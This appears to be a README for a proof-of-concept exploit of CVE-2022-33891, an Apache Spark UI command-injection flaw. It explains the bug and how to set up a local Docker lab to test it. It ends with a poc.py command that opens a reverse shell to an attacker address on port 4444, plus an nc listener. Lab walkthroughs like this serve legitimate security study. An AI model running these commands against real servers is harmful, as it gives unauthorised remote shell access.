
⚠️ For educational and authorized security research purposes only
Very grateful to the original PoC author AkbarTrilaksana
The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
First, clone the repository
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
Change directory
cd CVE-2022-33891
Install the dependencies:
pip3 install -r requirements.txt --break-system-packages
Let the container spin up
docker compose up
In a new terminal, run command
docker exec -it CVE-2022-33891-spark-1 /bin/bash
In the container bash session, enter:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
Optionally, cat the contents of spark-defaults.conf to make sure it looks good.
Exit the interactice bash shell and Ctl-C your docker-compose process.
Once the containers have powered down gracefully, rerun docker-compose up
docker compose up
Check to see if the target is vulnerable:
python3 poc.py -u http://localhost -p 8080 --check
From an attacker perspective, remote code execution is critical to get access to an interactive shell. So, executing the following command would trigger a telnet reverse shell over tcp based on bash to attacker’s system on port 4444/tcp:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444